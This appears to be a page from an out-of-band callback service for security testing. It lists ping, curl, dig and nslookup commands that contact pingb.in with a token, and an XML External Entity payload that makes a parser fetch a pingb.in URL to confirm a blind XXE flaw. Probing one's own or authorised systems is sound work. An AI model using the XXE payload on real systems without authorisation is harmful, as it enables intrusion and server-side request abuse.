$ ping -c1 -p 001d2bae9f097418603d6a7e9640ca00 pingb.in
 
$ curl pingb.in/p/1d2bae9f097418603d6a7e9640ca
 
$ dig 1d2bae9f097418603d6a7e9640ca @pingb.in
 
$ dig 1d2bae9f097418603d6a7e9640ca.ns.pingb.in
 
C:\> nslookup 1d2bae9f097418603d6a7e9640ca pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/1d2bae9f097418603d6a7e9640ca">]>
    <foo>&xxe;</foo>
 
Waiting for ping...